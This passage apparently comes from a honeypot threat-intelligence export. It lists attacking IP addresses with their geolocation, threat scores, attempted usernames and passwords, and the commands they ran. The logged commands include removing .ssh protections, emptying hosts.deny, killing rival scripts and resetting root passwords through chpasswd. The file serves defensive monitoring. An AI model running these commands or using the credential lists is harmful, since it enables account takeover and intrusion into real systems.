        "hua",
        "activemq",
        "admin",
        "alpine",
        "chen",
        "fu",
        "game",
        "horse",
        "maxim",
        "minsu",
        "patel",
        "saltstack",
        "socks",
        "sunil",
        "vivo",
        "xiamen"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "ADMIN",
        "activemq",
        "alibaba",
        "emp001234",
        "horse",
        "password1",
        "password12",
        "patel",
        "redis",
        "saltstack",
        "socks",
        "xiamen"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:AJXMbv5DO9yR\"|chpasswd|bash",
        "echo \"root:QD9uHQnj2FOi\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Aracruz",
      "asn": 268122,
      "as_org": "Link Net Telecomunicacoes Ltda",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 319,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T15:13:41.461000+00:00",
        "last_seen_30d": "2026-05-21T15:46:32.534000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 259,
        "Suricata": 60
      }
    },
    "138.59.179.138": {
      "attack_count": 242,
      "first_seen": "2026-05-13T17:08:08.570Z",
      "last_seen": "2026-05-13T17:45:40.432Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "794613",
        "Paul",
        "Tt123456",
        "Welcome!@",
        "a1b2c3d4",
        "admin01",
        "blue123",
        "bombbomb",
        "cc",
        "elliot",
        "jacosta",
        "k0nig~12345",
        "mdh",
        "navnath",
        "pussies",
        "radio",
        "rm123",
        "ts3server"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:QV7Ep9JFzp1A\"|chpasswd|bash",
        "echo \"yzOeGur5kZbZ\\nkY0oeptgisBP\\nkY0oeptgisBP\\n\"|passwd",
        "echo -e \"yzOeGur5kZbZ\\nkY0oeptgisBP\\nkY0oeptgisBP\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "San Pedro Sula",
      "asn": 263686,
      "as_org": "INET Communication",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T17:08:08.570000+00:00",
        "last_seen_30d": "2026-05-13T17:46:47.053000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 57
      }
    },
    "82.169.135.117": {
      "attack_count": 213,
      "first_seen": "2026-05-23T12:43:31.291Z",
      "last_seen": "2026-05-23T13:32:28.715Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "sysadmin",
        "345gs5662d34",
        "deployer",
        "ftpuser",
        "root",
        "admin",
        "andrew",
        "asag",
        "dev",
        "mamad",
        "marketing",
        "testi",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "12345678",
        "1234567m",
        "P@ssw0rd",
        "Password1",
        "andrew",
        "asag123",
        "ftp123",
        "letmein123",
        "mamad",
        "marketing",
        "qwerty123!",
        "testi"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123123\\nNDrRYbcdpd3G\\nNDrRYbcdpd3G\\n\"|passwd",
        "echo \"12345678\\nHJpI5pH3Iw3F\\nHJpI5pH3Iw3F\\n\"|passwd",
        "echo -e \"123123\\nNDrRYbcdpd3G\\nNDrRYbcdpd3G\"|passwd|bash",
        "echo -e \"12345678\\nHJpI5pH3Iw3F\\nHJpI5pH3Iw3F\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Someren",
      "asn": 1136,
      "as_org": "KPN B.V.",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T12:43:31.291000+00:00",
        "last_seen_30d": "2026-05-23T13:33:29.622000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 47
      }
    },
    "121.61.161.33": {
      "attack_count": 210,
      "first_seen": "2026-05-19T06:36:14.269Z",
      "last_seen": "2026-05-19T17:59:49.898Z",
      "sessions": 105,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:36:14.269000+00:00",
        "last_seen_30d": "2026-05-19T18:00:56.316000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 210,
        "Suricata": 117
      }
    },
    "186.64.123.124": {
      "attack_count": 196,
      "first_seen": "2026-05-27T06:53:15.262Z",
      "last_seen": "2026-05-27T07:21:27.642Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dima",
        "luca",
        "systemd",
        "test1",
        "testuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123asdASD",
        "1qaz2WSX",
        "Aa@123456",
        "Admin$2026",
        "Qwerty@12345",
        "Voidsetdownload.so",
        "fjbdfdjkdsfs541544AA@@",
        "luca",
        "qwerty654321",
        "welcome@2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:XpCHyZOAYn4w\"|chpasswd|bash",
        "echo \"root:YVjxahoLO9nD\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Curic\u00f3",
      "asn": 52368,
      "as_org": "ZAM LTDA.",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 233,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T06:53:15.262000+00:00",
        "last_seen_30d": "2026-05-27T07:22:33.225000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 37
      }
    },
    "115.178.75.242": {
      "attack_count": 195,
      "first_seen": "2026-05-14T20:19:40.272Z",
      "last_seen": "2026-05-29T11:47:47.256Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "proxyuser",
        "user2",
        "admin",
        "pedrito",
        "testuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123456aaA",
        "India@123",
        "Q1w2e3r4!@#$",
        "fjbdfdjkdsfs541544",
        "p@$$W0rd",
        "password123",
        "pedrito",
        "pppp",
        "qwer1234@",
        "user2user2"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nu0QUWSLfjT0K\\nu0QUWSLfjT0K\\n\"|passwd",
        "echo \"user2user2\\nJuVGGlQnnSoc\\nJuVGGlQnnSoc\\n\"|passwd",
        "echo -e \"123456\\nu0QUWSLfjT0K\\nu0QUWSLfjT0K\"|passwd|bash",
        "echo -e \"user2user2\\nJuVGGlQnnSoc\\nJuVGGlQnnSoc\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangseo-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 45.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.6,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T20:19:40.272000+00:00",
        "last_seen_30d": "2026-05-29T11:48:52.339000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 195,
        "Suricata": 36
      }
    },
    "196.196.150.124": {
      "attack_count": 191,
      "first_seen": "2026-05-23T17:52:35.079Z",
      "last_seen": "2026-05-23T18:24:18.416Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aroot",
        "arun",
        "khan",
        "myuser",
        "tester"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W3e4r",
        "123456..",
        "Aa112211",
        "Aa123456!!",
        "Aaa123456",
        "aroot",
        "arun",
        "khan",
        "zhang123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:knce80ikcMqx\"|chpasswd|bash",
        "echo \"root:n7p0uUkyB1rf\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Valencia",
      "asn": 58065,
      "as_org": "Orion Network Limited",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T17:52:35.079000+00:00",
        "last_seen_30d": "2026-05-23T18:25:22.416000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 36
      }
    },
    "152.200.205.179": {
      "attack_count": 188,
      "first_seen": "2026-05-30T03:16:54.469Z",
      "last_seen": "2026-05-30T03:39:58.933Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "ftpuser",
        "root",
        "345gs5662d34",
        "forest",
        "amir",
        "postgres",
        "steve",
        "user9"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Admin123*",
        "admin123",
        "forest",
        "ftp123",
        "infinity@123",
        "postgres",
        "root@123!",
        "steve",
        "user9"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"admin123\\nSkG3Uu5u209w\\nSkG3Uu5u209w\\n\"|passwd",
        "echo \"forest\\np2jOvylThdeP\\np2jOvylThdeP\\n\"|passwd",
        "echo -e \"admin123\\nSkG3Uu5u209w\\nSkG3Uu5u209w\"|passwd|bash",
        "echo -e \"forest\\np2jOvylThdeP\\np2jOvylThdeP\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T03:16:54.469000+00:00",
        "last_seen_30d": "2026-05-30T03:41:07.731000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "175.11.240.16": {
      "attack_count": 174,
      "first_seen": "2026-05-19T07:01:18.347Z",
      "last_seen": "2026-05-19T18:01:29.182Z",
      "sessions": 87,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 271,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:01:18.347000+00:00",
        "last_seen_30d": "2026-05-19T18:02:35.828000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 174,
        "Suricata": 97
      }
    },
    "193.142.43.122": {
      "attack_count": 150,
      "first_seen": "2026-05-08T16:14:52.498Z",
      "last_seen": "2026-05-31T20:59:04.451Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "M\u00fchltal",
      "asn": 48314,
      "as_org": "IP-Projects GmbH & Co. KG",
      "threat_score": 54.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.4,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:14:52.498000+00:00",
        "last_seen_30d": "2026-05-31T21:00:10.934000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 75
      }
    },
    "103.165.206.238": {
      "attack_count": 149,
      "first_seen": "2026-05-29T07:19:11.606Z",
      "last_seen": "2026-05-29T07:46:28.076Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "sysadmin",
        "345gs5662d34",
        "admin",
        "aroot",
        "canvas",
        "dev",
        "mmm",
        "splunk",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "111",
        "3245gs5662d34",
        "345gs5662d34",
        "@admin1234",
        "Fw123456@",
        "Pass@2026",
        "PassW0rd",
        "admin@123.com",
        "aroot",
        "canvas",
        "dev@123",
        "fjbdfdjkdsfs541544",
        "mmm",
        "pass",
        "password@123",
        "qwe123@",
        "splunk",
        "zxcvbn"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"pass\\nxtivD7Xg6yM9\\nxtivD7Xg6yM9\\n\"|passwd",
        "echo -e \"pass\\nxtivD7Xg6yM9\\nxtivD7Xg6yM9\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 17995,
      "as_org": "PT iForte Global Internet",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 191,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T07:19:11.606000+00:00",
        "last_seen_30d": "2026-05-29T07:47:31.404000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 149,
        "Suricata": 42
      }
    },
    "203.113.174.95": {
      "attack_count": 144,
      "first_seen": "2026-05-23T19:28:08.462Z",
      "last_seen": "2026-05-23T20:41:41.242Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "tony",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "dashuai",
        "deploy",
        "developer",
        "ftpuser",
        "luis",
        "mirror",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "1100",
        "123123",
        "12345",
        "123456",
        "22222222",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa1234567890.",
        "Admin@@123",
        "P@ssw0rd123!",
        "User1234",
        "Xs123456",
        "asdf1234",
        "dashuai",
        "mirror",
        "password123",
        "qwer!@#$"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nfMwKgWVcJ6XB\\nfMwKgWVcJ6XB\\n\"|passwd",
        "echo -e \"123456\\nfMwKgWVcJ6XB\\nfMwKgWVcJ6XB\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 193,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T19:28:08.462000+00:00",
        "last_seen_30d": "2026-05-23T20:42:44.813000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 49
      }
    },
    "152.52.15.213": {
      "attack_count": 123,
      "first_seen": "2026-05-28T07:05:07.723Z",
      "last_seen": "2026-05-28T07:27:40.724Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "deploy",
        "developer",
        "jose",
        "pc",
        "serv",
        "tuan"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "123456qQ",
        "3245gs5662d34",
        "345gs5662d34",
        "Lg123456",
        "Zx123456@",
        "developer@2024",
        "fjbdfdjkdsfs541544",
        "jose",
        "qwe123QWE!@#",
        "serv",
        "tuan123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:46Kq5S7aGmiy\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 31.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T07:05:07.723000+00:00",
        "last_seen_30d": "2026-05-28T07:28:42.497000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 31
      }
    },
    "189.46.1.73": {
      "attack_count": 119,
      "first_seen": "2026-05-05T21:51:31.257Z",
      "last_seen": "2026-05-05T23:22:42.519Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "node",
        "ubuntu",
        "345gs5662d34",
        "deployer",
        "ec2-user",
        "es",
        "root",
        "tester"
      ],
      "passwords_attempted": [
        "!@#$%",
        "123123",
        "123qwe",
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456",
        "Password",
        "adminpwd",
        "qwertz",
        "root",
        "test"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
